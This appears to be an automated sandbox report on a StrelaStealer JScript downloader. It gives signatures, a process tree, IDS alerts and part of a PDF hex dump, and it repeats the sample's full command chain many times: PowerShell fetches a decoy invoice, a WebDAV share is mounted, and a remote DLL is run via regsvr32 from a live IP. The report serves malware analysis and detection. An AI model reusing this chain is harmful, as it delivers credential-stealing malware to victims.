Edit tour

Windows Analysis Report
3007510974140184124.js

Overview

General Information

Sample name:	3007510974140184124.js
Analysis ID:	1588887
MD5:	809e97b062545d8cf77bbd91b93c03b4
SHA1:	712147614aea51d60fb663fedeb9cd6d062a4968
SHA256:	c2205d880686dd99db42e3e30b4c5fa3c52b2dd0ad53b6da76a76c78b16c5dd4
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7860 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7956 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8000 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6152 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6040 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1684,i,294504916032587908,5039764811623114837,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7224 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2088 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6712 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7860	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8000, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8000, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ProcessId: 7860, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2088, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49737

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ProcessId: 7956, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ProcessId: 7956, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ProcessId: 7956, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ProcessId: 7956, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ProcessId: 7956, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ProcessId: 7860, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7956, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8000, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2088, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6712, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2088, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3007510974140184124.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7860, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll, ProcessId: 7956, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:22.193458+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:24.345625+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49737	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:22.193458+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3007510974140184124.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3007510974140184124.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49722 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49737 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:43:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49737

Source: global traffic

